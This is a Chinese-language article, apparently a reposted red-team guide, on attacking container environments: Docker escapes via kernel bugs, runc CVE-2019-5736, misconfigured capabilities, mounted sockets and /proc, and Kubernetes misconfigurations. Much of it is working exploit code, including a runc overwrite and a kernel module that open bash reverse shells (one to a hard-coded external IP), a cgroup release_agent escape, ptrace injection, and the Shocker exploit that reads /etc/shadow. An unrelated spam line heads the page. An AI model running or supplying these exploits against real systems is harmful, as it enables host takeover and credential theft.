自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

九個(gè)容器環(huán)境安全紅隊(duì)常用手法總結(jié)

系統(tǒng) Linux
簡(jiǎn)單來(lái)說(shuō),容器是一種輕量級(jí)的應(yīng)用及其運(yùn)行環(huán)境打包技術(shù),還包含依賴項(xiàng),例如編程語(yǔ)⾔運(yùn)⾏時(shí)的特定版本和運(yùn)⾏軟件服務(wù)所需的庫(kù)。

 [[440592]]

引言

隨著云原生的火熱,容器及容器編排平臺(tái)的安全也受到了行業(yè)關(guān)注,Gartner在近期發(fā)布的《K8s安全防護(hù)指導(dǎo)框架》中給出K8s安全的8個(gè)攻擊面,總結(jié)如下:

鏡像相關(guān):

1. 鏡像倉(cāng)庫(kù)安全

2. 容器鏡像安全

K8S組件相關(guān):

3.API Server

4.Controller Manager

5.Etcd

6.Kubelet

7.Kube-proxy

運(yùn)行時(shí)安全:

8.Pod內(nèi)攻擊

9.容器逃逸

我們針對(duì)其中常見的紅隊(duì)攻擊手法進(jìn)行了復(fù)現(xiàn)與總結(jié)。

一、概念簡(jiǎn)介

簡(jiǎn)單來(lái)說(shuō),容器是一種輕量級(jí)的應(yīng)用及其運(yùn)行環(huán)境打包技術(shù),還包含依賴項(xiàng),例如編程語(yǔ)⾔運(yùn)⾏時(shí)的特定版本和運(yùn)⾏軟件服務(wù)所需的庫(kù)。容器⽀持在操作系統(tǒng)級(jí)別輕松共享 CPU、內(nèi)存、存儲(chǔ)空間和⽹絡(luò)資源,并提供了⼀種邏輯打包機(jī)制,以這種機(jī)制打包的應(yīng)⽤可以脫離其實(shí)際運(yùn)⾏的環(huán)境。目前,Docker是使用最廣泛的一種容器技術(shù)。

在開發(fā)、運(yùn)維過(guò)程中,容器需要進(jìn)行部署、管理、擴(kuò)展和聯(lián)網(wǎng)等操作,這就引入了一個(gè)新的概念,容器的編排。

容器編排是指自動(dòng)化容器的部署、管理、擴(kuò)展和聯(lián)網(wǎng)。容器編排可以為需要部署和管理成百上千個(gè)容器和主機(jī)的企業(yè)提供便利。

容器編排可以在使用容器的任何環(huán)境中使用。這可以幫助在不同環(huán)境中部署相同的應(yīng)用,而無(wú)需重新設(shè)計(jì)。通過(guò)將微服務(wù)放入容器,就能更加輕松地編排各種服務(wù)(包括存儲(chǔ)、網(wǎng)絡(luò)和安全防護(hù))。

容器編排工具提供了用于大規(guī)模管理容器和微服務(wù)架構(gòu)的框架。容器生命周期的管理有許多容器編排工具可用。一些常見的方案包括:Kubernetes、Docker Swarm 和 Apache Mesos。其中,目前使用最廣的為 Kubernetes。

Kubernetes簡(jiǎn)稱K8S,是 Google于2014年開源的容器編排調(diào)度管理平臺(tái)。相比與Swarm、Mesos等平臺(tái)簡(jiǎn)化了容器調(diào)度與管理,是目前最流行的容器編排平臺(tái),K8S主要功能如下:

1)容器調(diào)度管理:基于調(diào)度算法與策略將容器調(diào)度到對(duì)應(yīng)的節(jié)點(diǎn)上運(yùn)行。

2)服務(wù)發(fā)現(xiàn)與負(fù)載均衡:通過(guò)域名、VIP對(duì)外提供容器服務(wù),提供訪問(wèn)流量負(fù)載均衡。

3)彈性擴(kuò)展:定義期待的容器狀態(tài)與資源,K8S自動(dòng)檢測(cè)、創(chuàng)建、刪除實(shí)例和配置以滿足要求。

4)自動(dòng)恢復(fù)與回滾:提供健康檢查,自動(dòng)重啟、遷移、替換或回滾運(yùn)行失敗或沒(méi)響應(yīng)的容器,保障服務(wù)可用性。

5)K8S對(duì)象管理:涉及應(yīng)用編排與管理、配置、秘鑰等、監(jiān)控與日志等。

6)資源管理:對(duì)容器使用的網(wǎng)絡(luò)、存儲(chǔ)、GPU等資源進(jìn)行管理。

二、容器安全機(jī)制

每個(gè)基礎(chǔ)軟件服務(wù)都存在安全風(fēng)險(xiǎn),容器也不例外,其自身為控制安全問(wèn)題的發(fā)生,有著自己的安全機(jī)制,在此以 Docker 為例,簡(jiǎn)單講述容器的安全機(jī)制。

Docker 根據(jù) Linux 系統(tǒng)的一些特性,引入了多種安全機(jī)制,包含 seccomp、capability、Apparmor等。

Seccomp

seccomp 是 Linux kernel 從2.6.23版本引入的一種簡(jiǎn)潔的 sandboxing 機(jī)制。

seccomp安全機(jī)制能使一個(gè)進(jìn)程進(jìn)入到一種“安全”運(yùn)行模式,該模式下的進(jìn)程只能調(diào)用4種系統(tǒng)調(diào)用(system call),即 read(), write(), exit() 和 sigreturn(),否則進(jìn)程便會(huì)被終止。

Seccomp 簡(jiǎn)單來(lái)說(shuō)就是一個(gè)白名單,每個(gè)進(jìn)程進(jìn)行系統(tǒng)調(diào)用的時(shí)候,內(nèi)核都會(huì)檢查對(duì)應(yīng)的白名單來(lái)確認(rèn)該進(jìn)程是否有權(quán)限使用這個(gè)系統(tǒng)調(diào)用。

Linux capability

Capability 機(jī)制是 Linux 內(nèi)核 2.2 之后引入的。本質(zhì)上是將 root 用戶的權(quán)限細(xì)分為不同的領(lǐng)域,可以分別的啟用或者禁用。Docker 默認(rèn)開啟了14種capability,對(duì)容器內(nèi)部 root權(quán)限進(jìn)行了一系列限制。

Apparmor

AppArmor 是 Linux 內(nèi)核的一個(gè)安全模塊,通過(guò)它可以指定程序是否可以讀、寫或者運(yùn)行哪些文件,是否可以打開網(wǎng)絡(luò)端口等。若可執(zhí)行文件的路徑為 /home/ubuntu/run,使用 Apparmor 對(duì)其進(jìn)行訪問(wèn)控制,需要在配置文件目錄 /etc/apparmor.d 下新建一個(gè)名為 home.ubuntu.run 的文件,若修改 run 的文件名,配置文件將失效。

三、Docker安全問(wèn)題與逃逸漏洞復(fù)現(xiàn)

盡管Docker本身具備Seccomp、Capability、Apparmor等Linux自帶的安全機(jī)制,但仍存在Linux內(nèi)核漏洞、Docker漏洞以及配置不當(dāng)?shù)劝踩珕?wèn)題。

1. Linux 內(nèi)核漏洞

(1)原理

容器的內(nèi)核與宿主內(nèi)核共享,使⽤Namespace與Cgroups這兩項(xiàng)技術(shù),使容器內(nèi)的資源與宿主機(jī)隔離,所以Linux內(nèi)核產(chǎn)⽣的漏洞能導(dǎo)致容器逃逸。

容器逃逸和內(nèi)核提權(quán)只有細(xì)微的差別,需要突破namespace的限制。將⾼權(quán)限的namespace賦到exploit進(jìn)程的task_struct中。

容器逃逸簡(jiǎn)易模型

(2)Dirty Cow 引發(fā)的容器逃逸

在Linux內(nèi)核的內(nèi)存⼦系統(tǒng)處理私有只讀內(nèi)存映射的寫時(shí)復(fù)制(Copy-on-Write,CoW)機(jī)制的⽅式中發(fā)現(xiàn)了⼀個(gè)競(jìng)爭(zhēng)沖突。⼀個(gè)沒(méi)有特權(quán)的本地⽤⼾,可能會(huì)利⽤此漏洞獲得對(duì)其他情況下只讀內(nèi)存映射的寫訪問(wèn)權(quán)限,從⽽增加他們?cè)谙到y(tǒng)上的特權(quán),這就是知名的Dirty CoW漏洞。

Dirty CoW 漏洞的逃逸的實(shí)現(xiàn)思路和上述的思路不太⼀樣,采取Overwrite vDSO技術(shù)。

vDSO(Virtual Dynamic Shared Object)是內(nèi)核為了減少內(nèi)核與⽤⼾空間頻繁切換,提⾼系統(tǒng)調(diào)⽤效率⽽設(shè)計(jì)的機(jī)制。它同時(shí)映射在內(nèi)核空間以及每⼀個(gè)進(jìn)程的虛擬內(nèi)存中,包括那些以root權(quán)限運(yùn)⾏的進(jìn)程。通過(guò)調(diào)⽤那些不需要上下⽂切換(context switching)的系統(tǒng)調(diào)⽤可以加快這⼀步驟(定位vDSO)。vDSO在用戶空間(userspace)映射為R/X,⽽在內(nèi)核空間(kernelspace)則為R/W。這允許我們?cè)趦?nèi)核空間修改它,接著在用戶空間執(zhí)⾏。⼜因?yàn)槿萜髋c宿主機(jī)內(nèi)核共享,所以可以直接使⽤這項(xiàng)技術(shù)逃逸容器。

利⽤步驟如下:

1. 獲取vDSO地址,在新版的glibc中可以直接調(diào)⽤getauxval()函數(shù)獲??;

2. 通過(guò)vDSO地址找到clock_gettime()函數(shù)地址,檢查是否可以hijack;

3. 創(chuàng)建監(jiān)聽socket;

4. 觸發(fā)漏洞,Dirty CoW是由于內(nèi)核內(nèi)存管理系統(tǒng)實(shí)現(xiàn)CoW時(shí)產(chǎn)⽣的漏洞。通過(guò)條件競(jìng)爭(zhēng),把握好在恰當(dāng)?shù)臅r(shí)機(jī),利⽤ CoW 的特性可以將⽂件的read-only映射該為write。⼦進(jìn)程不停地檢查是否成功寫⼊。⽗進(jìn)程創(chuàng)建⼆個(gè)線程,ptrace_thread線程向vDSO寫⼊shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過(guò)程,產(chǎn)⽣條件競(jìng)爭(zhēng),當(dāng)條件觸發(fā)就能寫⼊成功。

5. 執(zhí)⾏shellcode,等待從宿主機(jī)返回root shell,成功后恢復(fù)vDSO原始數(shù)據(jù)。

https://github.com/scumjr/dirtycow-vdso

2. Docker 漏洞

Docker 軟件架構(gòu)分為四個(gè)部分,集成許多組件,包括containerd、runc等等。

Docker Client是Docker的客戶端程序,用于將用戶請(qǐng)求發(fā)送給Dockerd。Dockerd 實(shí)際調(diào)用的是 containerd 的API接口,containerd 是 Dockerd 和 runc 之間的一個(gè)中間交流組件,主要負(fù)責(zé)容器運(yùn)行、鏡像管理等。containerd 向上為 Dockerd 提供了 gRPC 接口,使得 Dockerd 屏蔽下面的結(jié)構(gòu)變化,確保原有接口向下兼容;向下,通過(guò) containerd-shim 與 runc 結(jié)合創(chuàng)建及運(yùn)行容器。

所以,若這些組件存在問(wèn)題,也會(huì)帶來(lái) Docker 的安全問(wèn)題。

1.CVE-2019-5736:runc - container breakout vulnerability

漏洞原理

runc 在使用文件系統(tǒng)描述符時(shí)存在漏洞,該漏洞可導(dǎo)致特權(quán)容器被利用,造成容器逃逸以及訪問(wèn)宿主機(jī)文件系統(tǒng);攻擊者也可以使用惡意鏡像,或修改運(yùn)行中的容器內(nèi)的配置來(lái)利用此漏洞。

攻擊方式1:(該途徑無(wú)需特權(quán)容器)運(yùn)行中的容器被入侵,系統(tǒng)文件被惡意篡改 ==> 宿主機(jī)運(yùn)行docker exec命令,在該容器中創(chuàng)建新進(jìn)程 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)執(zhí)行docker run/exec 命令時(shí)觸發(fā)執(zhí)行惡意程序;

攻擊方式2:(該途徑無(wú)需特權(quán)容器)docker run命令啟動(dòng)了被惡意修改的鏡像 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)運(yùn)行docker run/exec命令時(shí)觸發(fā)執(zhí)行惡意程序。

當(dāng)runc在容器內(nèi)執(zhí)行新的程序時(shí),攻擊者可以欺騙它執(zhí)行惡意程序。通過(guò)使用自定義二進(jìn)制文件替換容器內(nèi)的目標(biāo)二進(jìn)制文件來(lái)實(shí)現(xiàn)指回 runc 二進(jìn)制文件。

如果目標(biāo)二進(jìn)制文件是 /bin/bash,可以用指定解釋器的可執(zhí)行腳本替換 #!/proc/self/exe。因此,在容器內(nèi)執(zhí)行 /bin/bash,/proc/self/exe 的目標(biāo)將被執(zhí)行,將目標(biāo)指向 runc 二進(jìn)制文件。

然后攻擊者可以繼續(xù)寫入 /proc/self/exe 目標(biāo),嘗試覆蓋主機(jī)上的 runc 二進(jìn)制文件。這里需要使用 O_PATH flag打開 /proc/self/exe 文件描述符,然后以 O_WRONLY flag 通過(guò)/proc/self/fd/重新打開二進(jìn)制文件,并且用單獨(dú)的一個(gè)進(jìn)程不停地寫入。當(dāng)寫入成功時(shí),runc會(huì)退出。

影響版本

docker version <=18.09.2 && RunC version <=1.0-rc6

漏洞利用

P.S. 該漏洞會(huì)替換原本主機(jī) runc 文件,造成 Docker 服務(wù)不可用,需要引導(dǎo)被攻擊人使用 exec 去執(zhí)行/bin/sh 或者想要的任何操作。 

  1. package main  
  2. import (  
  3.   "fmt"  
  4.   "io/ioutil"  
  5.   "os"  
  6.   "strconv"  
  7.   "strings"  
  8.  
  9. // This is the line of shell commands that will execute on the host  
  10. var payload = "#!/bin/bash \n bash -i >& /dev/tcp/0.0.0.0/1234 0>&1"  
  11. func main() {  
  12.   // First we overwrite /bin/sh with the /proc/self/exe interpreter path  
  13.   fd, err :os.Create("/bin/sh")  
  14.   if err != nil {  
  15.     fmt.Println(err)  
  16.     return  
  17.   }  
  18.   fmt.Fprintln(fd, "#!/proc/self/exe")  
  19.   err = fd.Close()  
  20.   if err != nil {  
  21.     fmt.Println(err)  
  22.     return  
  23.   }  
  24.   fmt.Println("[+] Overwritten /bin/sh successfully")  
  25.   // Loop through all processes to find one whose cmdline includes runcinit  
  26.   // This will be the process created by runc  
  27.   var found int  
  28.   for found == 0 {  
  29.     pids, err :ioutil.ReadDir("/proc")  
  30.     if err != nil {  
  31.       fmt.Println(err)  
  32.       return  
  33.     }  
  34.     for _, f :range pids {  
  35.       fbytes, _ :ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")  
  36.       fstring :string(fbytes)  
  37.       if strings.Contains(fstring, "runc") {  
  38.         fmt.Println("[+] Found the PID:", f.Name())  
  39.         found, err = strconv.Atoi(f.Name())  
  40.         if err != nil {  
  41.           fmt.Println(err)  
  42.           return  
  43.         }  
  44.       }  
  45.     }  
  46.   }  
  47.   // We will use the pid to get a file handle for runc on the host.  
  48.   var handleFd = -1  
  49.   for handleFd == -1 {  
  50.     // Note, you do not need to use the O_PATH flag for the exploit to work.  
  51.     handle, _ :os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)  
  52.     if int(handle.Fd()) > 0 {  
  53.       handleFd = int(handle.Fd())  
  54.     }  
  55.   }  
  56.   fmt.Println("[+] Successfully got the file handle")  
  57.   // Now that we have the file handle, lets write to the runc binary and overwrite it  
  58.   // It will maintain it's executable flag  
  59.   for {  
  60.     writeHandle, _ :os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)  
  61.     if int(writeHandle.Fd()) > 0 { 
  62.       fmt.Println("[+] Successfully got write handle", writeHandle)  
  63.       writeHandle.Write([]byte(payload))  
  64.       return  
  65.     }  
  66.   }  

2.CVE-2019-14271:docker cp

vulnerability

漏洞原理

docker cp的邏輯漏洞導(dǎo)致宿主機(jī)進(jìn)程會(huì)使用容器的 so 庫(kù),而容器的 so 庫(kù)我們目前是可控的,我們可以編譯一個(gè)惡意so庫(kù)對(duì)原生的鏡像庫(kù)進(jìn)行替換,使宿主進(jìn)程調(diào)用惡意so庫(kù)過(guò)程中執(zhí)行攻擊者定義的危險(xiǎn)代碼。尋找到 libnss_files.so.2 的源碼,在其中加入鏈接時(shí)啟動(dòng)代碼(run_at_link),并定義執(zhí)行函數(shù),之后對(duì)其進(jìn)行編譯,將新生成的libnss_files.so.2送往容器中觸發(fā)惡意指令。

影響版本

影響版本只有docker 19.03.0(包含幾個(gè)beta版),19.03.1以上以及18.09以下都不受影響。

3.CVE-2020-15257:docker-containerd  --network=host breakout vulnerability

漏洞原理

該漏洞是由在特定網(wǎng)絡(luò)環(huán)境下Docker容器內(nèi)部可以訪問(wèn)宿主機(jī)的containerdAPI引起的。containerd在操作runC時(shí),會(huì)創(chuàng)建相應(yīng)進(jìn)程并生成一個(gè)抽象socket,docker通過(guò)該socket與容器進(jìn)行控制與通信。該socket可以在宿主機(jī)的/proc/net/unix文件中查找到,當(dāng)Docker容器內(nèi)部共享了宿主機(jī)的網(wǎng)絡(luò)時(shí),便可通過(guò)加載該socket,來(lái)控制Docker容器,引發(fā)逃逸。

漏洞利用

https://github.com/ZhuriLab/Exploits/tree/master/cve-2020-15257

3.配置不當(dāng)

1.Docker API 暴露

docker -H tcp://0.0.0.0:2375 去訪問(wèn)創(chuàng)建等,或者使用 UI

2.特權(quán)容器

特權(quán)容器意味著擁有所有的 Capability,即與宿主機(jī) ROOT 權(quán)限一致,特權(quán)容器逃逸方法有很多。例如,通過(guò)掛載硬盤逃逸:

● fdisk -l

● mount xxx /mnt

3.Capability 權(quán)限過(guò)大

查看 Docker 所擁有的 Capability

cat /proc/1/status | grep Cap

capsh --decode=00000000a80425fb

① 擁有 SYS_ADMIN 權(quán)限

通過(guò) cgroup 進(jìn)行逃逸,需要--security-opt apparmor=unconfined 

  1. # In the container   
  2. mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x   
  3. echo 1 > /tmp/cgrp/x/notify_on_release   
  4. host_path=/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff   
  5. echo "/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff/cmd" > /tmp   
  6. /cgrp/release_agent   
  7. echo '#!/bin/sh' > /cmd   
  8. echo "bash -c 'bash -i >& /dev/tcp/0.0.0.0/1234 0>&1'" >> /cmd   
  9. chmod a+x /cmd   
  10. sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"  

② 擁有SYS_PTRACE 權(quán)限

進(jìn)程注入引發(fā)逃逸,需要 --pid=host 以及--security-opt apparmor=unconfined 

  1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3. #include <string.h>  
  4. #include <stdint.h>  
  5. #include <sys/ptrace.h>  
  6. #include <sys/types.h>  
  7. #include <sys/wait.h>  
  8. #include <unistd.h>  
  9. #include <sys/user.h>  
  10. #include <sys/reg.h>  
  11. #define SHELLCODE_SIZE 0  
  12. unsigned char *shellcode =   
  13. "" 
  14. int inject_data (pid_t pid, unsigned char *src, void *dst, int len)  
  15.  
  16.  int i;  
  17.  uint32_t *s = (uint32_t *) src;  
  18.  uint32_t *d = (uint32_t *) dst;  
  19.  for (i = 0; i < len; i+=4, s++, d++)  
  20.  {  
  21.  if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0 
  22.  { 
  23.  perror ("ptrace(POKETEXT):");  
  24.  return -1;  
  25.  }  
  26.  }  
  27.  return 0;  
  28.  
  29. int main (int argc, char *argv[])  
  30.  
  31.  pid_t target;  
  32.  struct user_regs_struct regs;  
  33.  int syscall;  
  34.  long dst;  
  35.  if (argc != 2)  
  36.  {  
  37.  fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);  
  38.  exit (1);  
  39.  }  
  40.  target = atoi (argv[1]);  
  41.  printf ("+ Tracing process %d\n", target);  
  42.  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0 
  43.  {  
  44.  perror ("ptrace(ATTACH):");  
  45.  exit (1);  
  46.  }  
  47.  printf ("+ Waiting for process...\n");  
  48.  wait (NULL);  
  49.  printf ("+ Getting Registers\n");  
  50.  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0 
  51.  {  
  52.  perror ("ptrace(GETREGS):");  
  53.  exit (1);  
  54.  }  
  55.  /* Inject code into current RPI position */  
  56.  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);  
  57.  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);  
  58.  regs.rip += 2;  
  59.  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);  
  60.  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0 
  61.  {  
  62.  perror ("ptrace(GETREGS):");  
  63.  exit (1);  
  64.  }  
  65.  printf ("+ Run it!\n");  
  66.  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0 
  67.  {  
  68.  perror ("ptrace(DETACH):");  
  69.  exit (1);  
  70.  }  
  71.  return 0;  

③ 擁有SYS_MODULE 權(quán)限

加載內(nèi)核模塊直接逃逸 

  1. #include <linux/module.h> /* Needed by all modules */  
  2. #include <linux/kernel.h> /* Needed for KERN_INFO */  
  3. #include <linux/init.h> /* Needed for the macros */  
  4. #include <linux/sched/signal.h>  
  5. #include <linux/nsproxy.h>  
  6. #include <linux/proc_ns.h>  
  7. ///< The license type -- this affects runtime behavior  
  8. MODULE_LICENSE("GPL");  
  9. ///< The author -- visible when you use modinfo  
  10. MODULE_AUTHOR("Nimrod Stoler");  
  11. ///< The description -- see modinfo  
  12. MODULE_DESCRIPTION("NS Escape LKM");  
  13. ///< The version of the module  
  14. MODULE_VERSION("0.1");  
  15. static int __init escape_start(void)  
  16.  int rc;  
  17.  static char *envp[] = {  
  18.  "SHELL=/bin/bash",  
  19.  "HOME=/home/cyberark",  
  20.  "USER=cyberark",  
  21.  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin",  
  22.  "DISPLAY=:0",  
  23.  NULL};  
  24.  char *argv[] = {"/bin/bash","-c", "bash -i >& /dev/tcp/106.55.159.102/9999 0>&1", NULL};  
  25.  rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);  
  26.  printk("RC is: %i \n", rc);  
  27.  return 0;  
  28.  
  29. static void __exit escape_end(void)  
  30.  
  31.  printk(KERN_EMERG "Goodbye!\n");  
  32.  
  33. module_init(escape_start);  
  34. module_exit(escape_end);  
  35. -----------------------  
  36. ifneq ($(KERNELRELEASE),)  
  37. obj-m :=exp.o  
  38. else  
  39. KDIR :=/lib/modules/$(shell uname -r)/build  
  40. all:  
  41.  make -C $(KDIR) M=$(PWD) modules  
  42. clean:  
  43.  rm -f *.ko *.o *.mod.o *.mod.c *.symvers *.order  
  44. endif 

4.dac_read_search

Shocker攻擊 

  1. #define _GNU_SOURCE  
  2. #include <stdio.h>  
  3. #include <sys/types.h>  
  4. #include <sys/stat.h>  
  5. #include <fcntl.h>  
  6. #include <errno.h>  
  7. #include <stdlib.h>  
  8. #include <string.h>  
  9. #include <unistd.h>  
  10. #include <dirent.h>  
  11. #include <stdint.h>  
  12. struct my_file_handle  
  13.  
  14.  unsigned int handle_bytes;  
  15.  int handle_type;  
  16.  unsigned char f_handle[8];  
  17. };  
  18. void die(const char *msg)  
  19.  
  20.  perror(msg);  
  21.  exit(errno);  
  22.  
  23. void dump_handle(const struct my_file_handle *h)  
  24.  
  25.  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h->handle_bytes,  
  26.  h->handle_type);  
  27.  for (int i = 0; i < h->handle_bytes; ++i)  
  28.  {  
  29.  fprintf(stderr, "0x%02x", h->f_handle[i]);  
  30.  if ((i + 1) % 20 == 0) 
  31.  fprintf(stderr, "\n");  
  32.  if (i < h->handle_bytes - 1)  
  33.  fprintf(stderr, ", ");  
  34.  }  
  35.  fprintf(stderr, "};\n");  
  36.  
  37. int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)  
  38.  
  39.  int fd;  
  40.  uint32_t ino = 0 
  41.  struct my_file_handle outh = {  
  42.  .handle_bytes = 8 
  43.  .handle_type = 1};  
  44.  DIR *dir = NULL 
  45.  struct dirent *de = NULL 
  46.  path = strchr(path, '/');  
  47.  // recursion stops if path has been resolved  
  48.  if (!path)  
  49.  {  
  50.  memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));  
  51.  oh->handle_type = 1 
  52.  oh->handle_bytes = 8 
  53.  return 1;  
  54.  }  
  55.  ++path;  
  56.  fprintf(stderr, "[*] Resolving '%s'\n", path);  
  57.  if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0 
  58.  die("[-] open_by_handle_at");  
  59.  if ((dir = fdopendir(fd)) == NULL)  
  60.  die("[-] fdopendir");  
  61.  for (;;)  
  62.  {  
  63.  de = readdir(dir);  
  64.  if (!de)  
  65.  break;  
  66.  fprintf(stderr, "[*] Found %s\n", de->d_name);  
  67.  if (strncmp(de->d_name, path, strlen(de->d_name)) == 0)  
  68.  {  
  69.  fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);  
  70.  ino = de->d_ino;  
  71.  break;  
  72.  }  
  73.  }  
  74. fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");  
  75.  if (de)  
  76.  {  
  77.  for (uint32_t i = 0; i < 0xffffffff; ++i)  
  78.  {  
  79.  outh.handle_bytes = 8 
  80.  outh.handle_type = 1 
  81.  memcpy(outh.f_handle, &ino, sizeof(ino));  
  82.  memcpy(outh.f_handle + 4, &i, sizeof(i));  
  83.  if ((i % (1 << 20)) == 0)  
  84.  fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);  
  85.  if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0)  
  86.  {  
  87.  closedir(dir);  
  88.  close(fd);  
  89.  dump_handle(&outh);  
  90.  return find_handle(bfd, path, &outh, oh);  
  91.  }  
  92.  }  
  93.  }  
  94.  closedir(dir);  
  95.  close(fd);  
  96.  return 0;  
  97.  
  98. int main()  
  99.  
  100.  char buf[0x1000];  
  101.  int fd1, fd2;  
  102.  struct my_file_handle h;  
  103.  struct my_file_handle root_h = {  
  104.  .handle_bytes = 8 
  105.  .handle_type = 1 
  106.  .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}};  
  107.  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"  
  108.  "[***] The tea from the 90's kicks your sekurity again. [***]\n"  
  109.  "[***] If you have pending sec consulting, I'll happily [***]\n"  
  110.  "[***] forward to my friends who drink secury-tea too! [***]\n");  
  111.  // get a FS reference from something mounted in from outside  
  112.  if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0 
  113.  die("[-] open");  
  114.  if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)  
  115.  die("[-] Cannot find valid handle!");  
  116.  fprintf(stderr, "[!] Got a final handle!\n");  
  117.  dump_handle(&h);  
  118.  if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) 
  119.  die("[-] open_by_handle");  
  120.  memset(buf, 0, sizeof(buf));  
  121.  if (read(fd2, buf, sizeof(buf) - 1) < 0 
  122.  die("[-] read");  
  123.  fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);  
  124.  close(fd2);  
  125.  close(fd1);  
  126.  return 0;  

5.其他

通過(guò)內(nèi)核漏洞進(jìn)行逃逸時(shí),有可能存在有些系統(tǒng)調(diào)用被禁用而使漏洞無(wú)法復(fù)現(xiàn)的情況,當(dāng)一些 Capability 被賦予時(shí)可以使得原先不能在容器內(nèi)使用的 kernel 漏洞可以使用,例如:

特殊目錄被掛載至 Docker 內(nèi)部引發(fā)逃逸

當(dāng)例如宿主機(jī)的內(nèi)的 /, /etc/, /root/.ssh 等目錄的寫權(quán)限被掛載進(jìn)容器時(shí),在容器內(nèi)部可以修改宿主機(jī)內(nèi)的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件執(zhí)行任意命令,就可以導(dǎo)致容器逃逸。

① Docker in Docker

其中一個(gè)比較特殊且常見的場(chǎng)景是當(dāng)宿主機(jī)的 /var/run/docker.sock 被掛載容器內(nèi)的時(shí)候,容器內(nèi)就可以通過(guò) docker.sock 在宿主機(jī)里創(chuàng)建任意配置的容器,此時(shí)可以理解為可以創(chuàng)建任意權(quán)限的進(jìn)程,當(dāng)然也可以控制任意正在運(yùn)行的容器。

使用 golang 去調(diào)用 unix://docker socket,去創(chuàng)建新的 Docker。

② 掛載了主機(jī) /proc 目錄

●從 mount 信息中找出宿主機(jī)內(nèi)對(duì)應(yīng)當(dāng)前容器內(nèi)部文件結(jié)構(gòu)的路徑。 

  1. sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab 

●因?yàn)樗拗鳈C(jī)內(nèi)的 /proc 文件被掛載到了容器內(nèi)的 /host_proc 目錄,所以我們修改 /host_proc/sys/kernel/core_pattern 文件以達(dá)到修改宿主機(jī) /proc/sys/kernel/core_pattern 的目的。 

  1. echo -e “|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore “ > /host_proc/sys/kernel/core_pattern 

●需要一個(gè)程序在容器里執(zhí)行并觸發(fā) segmentation fault 使植入的 payload 即 exp.sh 在宿主機(jī)執(zhí)行。 

  1. #include <stdio.h>  
  2. int main() {  
  3.  int *a = NULL 
  4.  *a = 1 
  5.  return 0;  

四、K8s安全問(wèn)題與漏洞復(fù)現(xiàn)

K8S 作為使用最多的容器編排軟件,一些錯(cuò)誤的配置會(huì)引發(fā)很多安全問(wèn)題,使得集群失陷。

1.利用大權(quán)限的 Service Account 逃逸

使用Kubernetes做容器編排的話,在POD啟動(dòng)時(shí),Kubernetes會(huì)默認(rèn)為容器掛載一個(gè) Service Account 證書。同時(shí),默認(rèn)情況下Kubernetes會(huì)創(chuàng)建一個(gè)特有的 Service 用來(lái)指向 ApiServer。

有了這兩個(gè)條件,我們就擁有了在容器內(nèi)直接和APIServer通信和交互的方式。

類似 Docker 中 capability 的賦予,在創(chuàng)建 pod 時(shí)制定使用已經(jīng)給了特定權(quán)限的 SA,然后可以通過(guò) kubectl 去進(jìn)行一些列操作。

● kubectl edit sa sa-name -n namespace //

● kubectl create -f pod.yaml // sa pod

● ./kubectl .

2. 容器組件未鑒權(quán)

● kube-apiserver: 6443, 8080

● kubectl proxy: 8080, 8081

● kubelet: 10250, 10255, 4149

● dashboard: 30000

● docker api: 2375

● etcd: 2379, 2380

● kube-controller-manager: 10252

● kube-proxy: 10256, 31442

● kube-scheduler: 10251

● weave: 6781, 6782, 6783

● kubeflow-dashboard: 8080

1.組件分工

① 用戶與 kubectl 或者 Kubernetes Dashboard 進(jìn)行交互,提交需求。(例: kubectl create -f pod.yaml)

② kubectl 會(huì)讀取 ~/.kube/config 配置,并與 apiserver 進(jìn)行交互,協(xié)議:http/https

